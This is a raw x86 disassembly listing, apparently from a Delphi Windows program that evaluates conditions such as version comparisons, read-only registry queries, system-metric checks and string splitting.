lea eax, [ebp - 0x2200]
push eax
lea ecx, [ebp - 0x2204]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2204]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2200]
call fcn.0040b2d4
add eax, 0xffffffe5
cmp eax, 5
ja case.default.0x5a7451
jmp dword [eax*4 + 0x5a7458]
mov dword [ebp - 0x54c], 1
jmp case.default.0x5a7451
mov dword [ebp - 0x54c], 2
jmp case.default.0x5a7451
mov dword [ebp - 0x54c], 3
jmp case.default.0x5a7451
mov dword [ebp - 0x54c], 4
jmp case.default.0x5a7451
mov dword [ebp - 0x54c], 5
jmp case.default.0x5a7451
mov dword [ebp - 0x54c], 6
lea eax, [ebp - 0x600]
push eax
lea ecx, [ebp - 0x5fc]
lea edx, [ebp - 0x5f8]
lea eax, [ebp - 0x57d]
call fcn.0058b108
mov eax, dword [ebp - 0x600]
cmp eax, dword [ebp - 0x54c]
setge al
lea edx, [ebp - 0x3c0]
call fcn.00593610
jmp case.default.0x5a6dc0
lea edx, [ebp - 0x54c]
lea eax, [ebp - 0x3c4]
call fcn.0058a9bc
lea edx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x54c]
call fcn.0040b198
jmp case.default.0x5a6dc0
lea edx, [ebp - 0x54c]
lea eax, [ebp - 0x3c0]
call fcn.0058a9bc
jmp case.default.0x5a6dc0
lea edx, [ebp - 0x3c4]
lea eax, [ebp - 0x3c0]
call fcn.0058a430
jmp case.default.0x5a6dc0
lea edx, [ebp - 0x3c0]
lea eax, [ebp - 0x3c4]
call fcn.0058a430
jmp case.default.0x5a6dc0
lea eax, [ebp - 0x2208]
push eax
lea ecx, [ebp - 0x220c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x220c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2208]
call fcn.0040b2d4
add eax, 0xffffffdb
cmp eax, 0xf
ja case.default.0x5a75a5
jmp dword [eax*4 + 0x5a75ac]
mov dword [ebp - 0x5b4], 6
xor eax, eax
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5bc], 0xaf0
mov dword [ebp - 0x5c0], 0x452
jmp case.default.0x5a75a5
mov dword [ebp - 0x5b4], 6
xor eax, eax
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5bc], 0xa28
xor eax, eax
mov dword [ebp - 0x5c0], eax
jmp case.default.0x5a75a5
mov dword [ebp - 0x5b4], 5
mov dword [ebp - 0x5b8], 5
mov dword [ebp - 0x5bc], 0x12c7
mov dword [ebp - 0x5c0], 0x8fc
jmp case.default.0x5a75a5
mov dword [ebp - 0x5b4], 5
mov dword [ebp - 0x5b8], 5
mov dword [ebp - 0x5bc], 0x11aa
mov dword [ebp - 0x5c0], 0x708
jmp case.default.0x5a75a5
mov dword [ebp - 0x5b4], 5
mov dword [ebp - 0x5b8], 5
mov dword [ebp - 0x5bc], 0x1026
mov dword [ebp - 0x5c0], 0x64
jmp case.default.0x5a75a5
mov dword [ebp - 0x5b4], 5
xor eax, eax
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5bc], 0xdae
mov dword [ebp - 0x5c0], 0x1518
jmp case.default.0x5a75a5
mov dword [ebp - 0x5b4], 5
xor eax, eax
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5bc], 0xcf2
mov dword [ebp - 0x5c0], 0x834
jmp case.default.0x5a75a5
mov dword [ebp - 0x5b4], 5
xor eax, eax
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5bc], 0xb67
mov dword [ebp - 0x5c0], 0x18a3
jmp case.default.0x5a75a5
mov dword [ebp - 0x5b4], 5
xor eax, eax
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5bc], 0x7de
mov dword [ebp - 0x5c0], 0xd5
jmp case.default.0x5a75a5
mov dword [ebp - 0x5b4], 4
mov dword [ebp - 0x5b8], 0x48
mov dword [ebp - 0x5bc], 0xe1c
mov dword [ebp - 0x5c0], 0x6ab
jmp case.default.0x5a75a5
mov dword [ebp - 0x5b4], 4
mov dword [ebp - 0x5b8], 0x48
mov dword [ebp - 0x5bc], 0xc26
mov dword [ebp - 0x5c0], 3
jmp case.default.0x5a75a5
mov dword [ebp - 0x5b4], 4
mov dword [ebp - 0x5b8], 0x48
mov dword [ebp - 0x5bc], 0x83a
mov dword [ebp - 0x5c0], 7
jmp case.default.0x5a75a5
mov dword [ebp - 0x5b4], 4
mov dword [ebp - 0x5b8], 0x47
mov dword [ebp - 0x5bc], 0x6b0
mov dword [ebp - 0x5c0], 5
jmp case.default.0x5a75a5
mov dword [ebp - 0x5b4], 4
mov dword [ebp - 0x5b8], 0x46
mov dword [ebp - 0x5bc], 0x514
xor eax, eax
mov dword [ebp - 0x5c0], eax
jmp case.default.0x5a75a5
mov dword [ebp - 0x5b4], 4
mov dword [ebp - 0x5b8], 0x46
mov dword [ebp - 0x5bc], 0x4bf
xor eax, eax
mov dword [ebp - 0x5c0], eax
jmp case.default.0x5a75a5
mov dword [ebp - 0x5b4], 4
mov dword [ebp - 0x5b8], 0x46
mov dword [ebp - 0x5bc], 0x483
xor eax, eax
mov dword [ebp - 0x5c0], eax
lea eax, [ebp - 0x5a4]
push eax
lea eax, [ebp - 0x5a8]
push eax
lea eax, [ebp - 0x5ac]
push eax
lea eax, [ebp - 0x5b0]
push eax
mov edx, dword [0x5d4a64]
mov edx, dword [edx]
lea eax, [ebp - 0x2210]
mov ecx, 0x5aeed8
call fcn.00405d5c
mov eax, dword [ebp - 0x2210]
lea ecx, [ebp - 0x5a0]
lea edx, [ebp - 0x59c]
call fcn.0058afe8
mov byte [ebp - 0x57d], 1
mov eax, dword [ebp - 0x59c]
cmp eax, dword [ebp - 0x5b4]
jae 0x5a7903
mov byte [ebp - 0x57d], 0
jmp 0x5a7970
mov eax, dword [ebp - 0x59c]
cmp eax, dword [ebp - 0x5b4]
jne 0x5a7970
mov eax, dword [ebp - 0x5a0]
cmp eax, dword [ebp - 0x5b8]
jae 0x5a7928
mov byte [ebp - 0x57d], 0
jmp 0x5a7970
mov eax, dword [ebp - 0x5a0]
cmp eax, dword [ebp - 0x5b8]
jne 0x5a7970
mov eax, dword [ebp - 0x5a4]
cmp eax, dword [ebp - 0x5bc]
jae 0x5a794d
mov byte [ebp - 0x57d], 0
jmp 0x5a7970
mov eax, dword [ebp - 0x5a4]
cmp eax, dword [ebp - 0x5bc]
jne 0x5a7970
mov eax, dword [ebp - 0x5a8]
cmp eax, dword [ebp - 0x5c0]
jae 0x5a7970
mov byte [ebp - 0x57d], 0
lea edx, [ebp - 0x3c0]
movzx eax, byte [ebp - 0x57d]
call fcn.00593610
jmp case.default.0x5a6dc0
xor eax, eax
mov dword [ebp - 0x550], eax
lea eax, [ebp - 0x2214]
push eax
lea ecx, [ebp - 0x2218]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2218]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2214]
call fcn.0040b2d4
add eax, 0xffffffcb
cmp eax, 0x14
ja case.0x5a79df.59
movzx eax, byte [eax + 0x5a79e6]
jmp dword [eax*4 + 0x5a79fb]
mov dword [ebp - 0x54c], 7
jmp case.0x5a79df.59
mov dword [ebp - 0x54c], 6
jmp case.0x5a79df.59
mov dword [ebp - 0x54c], 5
mov dword [ebp - 0x550], 1
jmp case.0x5a79df.59
mov dword [ebp - 0x54c], 5
jmp case.0x5a79df.59
mov dword [ebp - 0x54c], 4
jmp case.0x5a79df.59
mov dword [ebp - 0x54c], 3
jmp case.0x5a79df.59
mov dword [ebp - 0x54c], 2
mov dl, 1
mov eax, dword [0x430728]
call fcn.00430894
mov dword [ebp - 0x53c], eax
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20019
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.00430970
xor ecx, ecx
mov edx, 0x5aeeec
mov eax, dword [ebp - 0x53c]
call fcn.004309d8
test al, al
jne 0x5a7ac5
mov byte [ebp - 0x57d], 0
jmp 0x5a7b3c
xor eax, eax
push ebp
push 0x5a7b20
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x5aef10
mov eax, dword [ebp - 0x53c]
call fcn.004310b4
mov ebx, eax
add ebx, ebx
lea ebx, [ebx + ebx*4]
mov edx, 0x5aef28
mov eax, dword [ebp - 0x53c]
call fcn.004310b4
add ebx, eax
mov eax, dword [ebp - 0x54c]
add eax, eax
lea eax, [eax + eax*4]
add eax, dword [ebp - 0x550]
cmp ebx, eax
setge byte [ebp - 0x57d]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a7b31
mov eax, dword [ebp - 0x53c]
call fcn.00430940
mov eax, dword [ebp - 0x53c]
call fcn.00404ae4
lea edx, [ebp - 0x3c0]
movzx eax, byte [ebp - 0x57d]
call fcn.00593610
jmp case.default.0x5a6dc0
lea eax, [ebp - 0x3c0]
call fcn.0057cefc
jmp case.default.0x5a6dc0
lea edx, [ebp - 0x3c0]
mov al, 1
call fcn.0058a2c8
jmp case.default.0x5a6dc0
lea eax, [ebp - 0x3c0]
call fcn.0058a294
jmp case.default.0x5a6dc0
lea edx, [ebp - 0x3c0]
xor eax, eax
call fcn.0058a2c8
jmp case.default.0x5a6dc0
call fcn.0058a860
test al, al
je 0x5a7bc0
lea eax, [ebp - 0x3c0]
mov edx, 0x5aef40
call fcn.00405adc
jmp case.default.0x5a6dc0
call fcn.0058a890
test al, al
je 0x5a7bde
lea eax, [ebp - 0x3c0]
mov edx, 0x5aef50
call fcn.00405adc
jmp case.default.0x5a6dc0
call fcn.0058a878
test al, al
je 0x5a7bfc
lea eax, [ebp - 0x3c0]
mov edx, 0x5aef60
call fcn.00405adc
jmp case.default.0x5a6dc0
call fcn.0058a8a8
test al, al
je 0x5a7c1a
lea eax, [ebp - 0x3c0]
mov edx, 0x5aef70
call fcn.00405adc
jmp case.default.0x5a6dc0
lea eax, [ebp - 0x3c0]
mov edx, 0x5ae730
call fcn.00405adc
jmp case.default.0x5a6dc0
call fcn.0042d4e0
lea edx, [ebp - 0x3c0]
call fcn.0040b198
jmp case.default.0x5a6dc0
call fcn.0058e298
lea edx, [ebp - 0x3c0]
call fcn.00593610
jmp case.default.0x5a6dc0
push 0x56
call sub.user32.dll_GetSystemMetrics
test eax, eax
setne al
lea edx, [ebp - 0x3c0]
call fcn.00593610
jmp case.default.0x5a6dc0
push 0x57
call sub.user32.dll_GetSystemMetrics
test eax, eax
setne al
lea edx, [ebp - 0x3c0]
call fcn.00593610
jmp case.default.0x5a6dc0
call fcn.0058e160
lea edx, [ebp - 0x3c0]
call fcn.00593610
jmp case.default.0x5a6dc0
call fcn.004b09c0
cmp eax, 1
sbb eax, eax
inc eax
lea edx, [ebp - 0x3c0]
call fcn.00593610
jmp case.default.0x5a6dc0
call fcn.004b095c
lea edx, [ebp - 0x3c0]
call fcn.00593610
jmp case.default.0x5a6dc0
call fcn.004b09c0
test eax, eax
jne 0x5a7ce8
call fcn.004b095c
test al, al
je 0x5a7cec
xor eax, eax
jmp 0x5a7cee
mov al, 1
lea edx, [ebp - 0x3c0]
call fcn.00593610
jmp case.default.0x5a6dc0
lea eax, [ebp - 0x3c0]
call fcn.0058e1a4
jmp case.default.0x5a6dc0
lea eax, [ebp - 0x3c0]
call fcn.00593ee8
lea eax, [ebp - 0x3c0]
call fcn.00593960
mov dword [ebp - 0x59c], eax
lea eax, [ebp - 0x3c0]
call fcn.00593960
mov dword [ebp - 0x5a0], eax
lea eax, [ebp - 0x3c0]
call fcn.00593960
mov dword [ebp - 0x5a4], eax
lea eax, [ebp - 0x3c0]
call fcn.00593960
mov dword [ebp - 0x5a8], eax
mov dword [ebp - 0x5b4], 7
xor eax, eax
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5bc], 0x1662
mov dword [ebp - 0x5c0], 0xb
mov byte [ebp - 0x57d], 1
mov eax, dword [ebp - 0x59c]
cmp eax, dword [ebp - 0x5b4]
jae 0x5a7da1
mov byte [ebp - 0x57d], 0
jmp 0x5a7e0e
mov eax, dword [ebp - 0x59c]
cmp eax, dword [ebp - 0x5b4]
jne 0x5a7e0e
mov eax, dword [ebp - 0x5a0]
cmp eax, dword [ebp - 0x5b8]
jae 0x5a7dc6
mov byte [ebp - 0x57d], 0
jmp 0x5a7e0e
mov eax, dword [ebp - 0x5a0]
cmp eax, dword [ebp - 0x5b8]
jne 0x5a7e0e
mov eax, dword [ebp - 0x5a4]
cmp eax, dword [ebp - 0x5bc]
jae 0x5a7deb
mov byte [ebp - 0x57d], 0
jmp 0x5a7e0e
mov eax, dword [ebp - 0x5a4]
cmp eax, dword [ebp - 0x5bc]
jne 0x5a7e0e
mov eax, dword [ebp - 0x5a8]
cmp eax, dword [ebp - 0x5c0]
jae 0x5a7e0e
mov byte [ebp - 0x57d], 0
lea edx, [ebp - 0x3c0]
movzx eax, byte [ebp - 0x57d]
call fcn.00593610
lea eax, [ebp - 0x221c]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x221c]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.0058ffe4
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aef80
call fcn.00405e6c
jne 0x5a81eb
xor eax, eax
push ebp
push 0x5a81e4
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x2220]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2220]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x3b0]
call fcn.005af628
test al, al
jne 0x5a7f1c
lea edx, [ebp - 0x2224]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x2224]
push eax
lea eax, [ebp - 0x2228]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x2228]
xor edx, edx
pop eax
call fcn.0058ffac
lea eax, [ebp - 0x5a4]
push eax
lea eax, [ebp - 0x5a8]
push eax
lea eax, [ebp - 0x5ac]
push eax
lea eax, [ebp - 0x5b0]
push eax
lea eax, [ebp - 0x2234]
push eax
lea ecx, [ebp - 0x2238]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2238]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2234]
lea edx, [ebp - 0x2230]
call fcn.00593948
mov eax, dword [ebp - 0x2230]
lea edx, [ebp - 0x222c]
call fcn.0058feb0
mov eax, dword [ebp - 0x222c]
lea ecx, [ebp - 0x5a0]
lea edx, [ebp - 0x59c]
call fcn.0058afe8
lea eax, [ebp - 0x223c]
push eax
lea ecx, [ebp - 0x2240]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2240]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x223c]
call fcn.00593654
test al, al
je 0x5a8074
lea eax, [ebp - 0x5bc]
push eax
lea eax, [ebp - 0x5c0]
push eax
lea eax, [ebp - 0x5c4]
push eax
lea eax, [ebp - 0x5c8]
push eax
lea eax, [ebp - 0x224c]
push eax
lea ecx, [ebp - 0x2250]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2250]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x224c]
lea edx, [ebp - 0x2248]
call fcn.00593948
mov eax, dword [ebp - 0x2248]
lea edx, [ebp - 0x2244]
call fcn.0058feb0
mov eax, dword [ebp - 0x2244]
lea ecx, [ebp - 0x5b8]
lea edx, [ebp - 0x5b4]
call fcn.0058afe8
jmp 0x5a80fb
lea eax, [ebp - 0x2254]
push eax
lea ecx, [ebp - 0x2258]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2258]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2254]
lea edx, [ebp - 0x3c0]
call fcn.00593948
lea eax, [ebp - 0x3c0]
call fcn.00593960
mov dword [ebp - 0x5b4], eax
lea eax, [ebp - 0x3c0]
call fcn.00593960
mov dword [ebp - 0x5b8], eax
lea eax, [ebp - 0x3c0]
call fcn.00593960
mov dword [ebp - 0x5bc], eax
lea eax, [ebp - 0x3c0]
call fcn.00593960
mov dword [ebp - 0x5c0], eax
mov byte [ebp - 0x57d], 1
mov eax, dword [ebp - 0x59c]
cmp eax, dword [ebp - 0x5b4]
jae 0x5a8119
mov byte [ebp - 0x57d], 0
jmp 0x5a8186
mov eax, dword [ebp - 0x59c]
cmp eax, dword [ebp - 0x5b4]
jne 0x5a8186
mov eax, dword [ebp - 0x5a0]
cmp eax, dword [ebp - 0x5b8]
jae 0x5a813e
mov byte [ebp - 0x57d], 0
jmp 0x5a8186
mov eax, dword [ebp - 0x5a0]
cmp eax, dword [ebp - 0x5b8]
jne 0x5a8186
mov eax, dword [ebp - 0x5a4]
cmp eax, dword [ebp - 0x5bc]
jae 0x5a8163
mov byte [ebp - 0x57d], 0
jmp 0x5a8186
mov eax, dword [ebp - 0x5a4]
cmp eax, dword [ebp - 0x5bc]
jne 0x5a8186
mov eax, dword [ebp - 0x5a8]
cmp eax, dword [ebp - 0x5c0]
ja 0x5a8186
mov byte [ebp - 0x57d], 0
lea edx, [ebp - 0x225c]
movzx eax, byte [ebp - 0x57d]
call fcn.00593610
mov eax, dword [ebp - 0x225c]
push eax
lea eax, [ebp - 0x2260]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x2260]
mov eax, dword [ebp - 0x3b0]
pop edx
call fcn.0058ffe4
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aef9c
call fcn.00405e6c
jne 0x5a8940
lea eax, [ebp - 0x2268]
push eax
lea ecx, [ebp - 0x226c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x226c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2268]
lea edx, [ebp - 0x2264]
call fcn.00593948
mov eax, dword [ebp - 0x2264]
lea edx, [ebp - 0x404]
call fcn.0058feb0
lea eax, [ebp - 0x2274]
push eax
lea ecx, [ebp - 0x2278]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2278]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2274]
lea edx, [ebp - 0x2270]
call fcn.00593948
mov eax, dword [ebp - 0x2270]
lea edx, [ebp - 0x408]
call fcn.0058feb0
lea eax, [ebp - 0x3c4]
push eax
lea ecx, [ebp - 0x227c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x227c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
cmp dword [ebp - 0x3c4], 0
je 0x5a832f
mov eax, dword [ebp - 0x3c4]
call fcn.005af628
test al, al
jne 0x5a832f
lea edx, [ebp - 0x2280]
mov eax, dword [ebp - 0x3c4]
call fcn.0040ab58
mov eax, dword [ebp - 0x2280]
push eax
lea eax, [ebp - 0x2284]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x2284]
xor edx, edx
pop eax
call fcn.0058ffac
lea eax, [ebp - 0x3c8]
push eax
lea ecx, [ebp - 0x2288]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2288]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
cmp dword [ebp - 0x3c8], 0
je 0x5a83b5
mov eax, dword [ebp - 0x3c8]
call fcn.005af628
test al, al
jne 0x5a83b5
lea edx, [ebp - 0x228c]
mov eax, dword [ebp - 0x3c8]
call fcn.0040ab58
mov eax, dword [ebp - 0x228c]
push eax
lea eax, [ebp - 0x2290]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x2290]
xor edx, edx
pop eax
call fcn.0058ffac
lea eax, [ebp - 0x2294]
push eax
lea ecx, [ebp - 0x2298]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2298]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x2294]
call fcn.00593654
test al, al
je 0x5a843a
lea edx, [ebp - 0x229c]
mov eax, dword [ebp - 0x404]
call fcn.0040ab90
mov edx, dword [ebp - 0x229c]
lea eax, [ebp - 0x404]
call fcn.00405adc
lea edx, [ebp - 0x22a0]
mov eax, dword [ebp - 0x408]
call fcn.0040ab90
mov edx, dword [ebp - 0x22a0]
lea eax, [ebp - 0x408]
call fcn.00405adc
xor eax, eax
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x620], 1
mov dword [ebp - 0x624], 1
lea eax, [ebp - 0x22a4]
push eax
lea ecx, [ebp - 0x22a8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22a8]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x22a4]
call fcn.0040b2d4
sub eax, 1
jb 0x5a84b1
je 0x5a8545
dec eax
je 0x5a8610
dec eax
je 0x5a867f
jmp 0x5a86f0
mov eax, dword [ebp - 0x408]
mov dword [ebp - 0x768], eax
cmp dword [ebp - 0x768], 0
je 0x5a84d7
mov eax, dword [ebp - 0x768]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x768], eax
mov eax, dword [ebp - 0x768]
mov dword [ebp - 0x620], eax
push 1
push 1
mov cl, 1
mov edx, dword [ebp - 0x404]
mov eax, dword [ebp - 0x408]
call fcn.004ad7a0
mov dword [ebp - 0x618], eax
cmp dword [ebp - 0x618], 0
jne 0x5a86f0
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x76c], eax
cmp dword [ebp - 0x76c], 0
je 0x5a8533
mov eax, dword [ebp - 0x76c]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x76c], eax
mov eax, dword [ebp - 0x76c]
inc eax
mov dword [ebp - 0x618], eax
jmp 0x5a86f0
mov eax, dword [ebp - 0x408]
mov dword [ebp - 0x770], eax
cmp dword [ebp - 0x770], 0
je 0x5a856b
mov eax, dword [ebp - 0x770]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x770], eax
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x620], eax
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x774], eax
cmp dword [ebp - 0x774], 0
je 0x5a859d
mov eax, dword [ebp - 0x774]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x774], eax
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x61c], eax
cmp dword [ebp - 0x61c], 0
jle 0x5a85ec
cmp dword [ebp - 0x618], 0
jne 0x5a85dd
mov eax, dword [ebp - 0x61c]
push eax
push 1
mov cl, 1
mov edx, dword [ebp - 0x404]
mov eax, dword [ebp - 0x408]
call fcn.004ad7a0
mov dword [ebp - 0x618], eax
dec dword [ebp - 0x61c]
cmp dword [ebp - 0x61c], 0
jg 0x5a85b2
cmp dword [ebp - 0x618], 0
jne 0x5a86f0
mov dword [ebp - 0x618], 1
xor eax, eax
mov dword [ebp - 0x620], eax
jmp 0x5a86f0
xor eax, eax
push ebp
push 0x5a866b
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x624], eax
mov eax, dword [ebp - 0x408]
call fcn.0040b2d4
mov dword [ebp - 0x618], eax
cmp dword [ebp - 0x618], 0
jne 0x5a865e
mov dword [ebp - 0x618], 1
mov dword [ebp - 0x624], 1
mov dword [ebp - 0x620], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a86f0
xor eax, eax
push ebp
push 0x5a86de
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x624], eax
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x778], eax
cmp dword [ebp - 0x778], 0
je 0x5a86bb
mov eax, dword [ebp - 0x778]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x778], eax
mov eax, dword [ebp - 0x408]
call fcn.0040b2d4
mov edx, dword [ebp - 0x778]
sub edx, eax
mov dword [ebp - 0x618], edx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a86f0
cmp dword [ebp - 0x618], 0
jne 0x5a8714
lea eax, [ebp - 0x3fc]
call fcn.00405a44
lea eax, [ebp - 0x400]
call fcn.00405a44
jmp 0x5a8829
lea eax, [ebp - 0x22b0]
push eax
lea ecx, [ebp - 0x22b4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22b4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x22b0]
lea edx, [ebp - 0x22ac]
call fcn.00593948
mov eax, dword [ebp - 0x22ac]
lea edx, [ebp - 0x404]
call fcn.0058feb0
lea eax, [ebp - 0x22bc]
push eax
lea ecx, [ebp - 0x22c0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22c0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x22bc]
lea edx, [ebp - 0x22b8]
call fcn.00593948
mov eax, dword [ebp - 0x22b8]
lea edx, [ebp - 0x408]
call fcn.0058feb0
lea eax, [ebp - 0x3fc]
push eax
mov ecx, dword [ebp - 0x618]
sub ecx, dword [ebp - 0x624]
mov edx, 1
mov eax, dword [ebp - 0x404]
call fcn.00405f3c
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x77c], eax
cmp dword [ebp - 0x77c], 0
je 0x5a8805
mov eax, dword [ebp - 0x77c]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x77c], eax
lea eax, [ebp - 0x400]
push eax
mov edx, dword [ebp - 0x618]
add edx, dword [ebp - 0x620]
mov ecx, dword [ebp - 0x77c]
mov eax, dword [ebp - 0x404]
call fcn.00405f3c
lea eax, [ebp - 0x22c4]
push eax
lea ecx, [ebp - 0x22c8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22c8]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x22c4]
call fcn.00593654
test al, al
je 0x5a88ae
lea edx, [ebp - 0x22cc]
mov eax, dword [ebp - 0x3fc]
call fcn.0040ac2c
mov edx, dword [ebp - 0x22cc]
lea eax, [ebp - 0x3fc]
call fcn.00405adc
lea edx, [ebp - 0x22d0]
mov eax, dword [ebp - 0x400]
call fcn.0040ac2c
mov edx, dword [ebp - 0x22d0]
lea eax, [ebp - 0x400]
call fcn.00405adc
cmp dword [ebp - 0x3c4], 0
je 0x5a88f7
lea edx, [ebp - 0x22d4]
mov eax, dword [ebp - 0x3c4]
call fcn.0040ab58
mov eax, dword [ebp - 0x22d4]
push eax
lea eax, [ebp - 0x22d8]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x22d8]
mov edx, dword [ebp - 0x3fc]
pop eax
call fcn.0058ffac
cmp dword [ebp - 0x3c8], 0
je 0x5a8940
lea edx, [ebp - 0x22dc]
mov eax, dword [ebp - 0x3c8]
call fcn.0040ab58
mov eax, dword [ebp - 0x22dc]
push eax
lea eax, [ebp - 0x22e0]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x22e0]
mov edx, dword [ebp - 0x400]
pop eax
call fcn.0058ffac
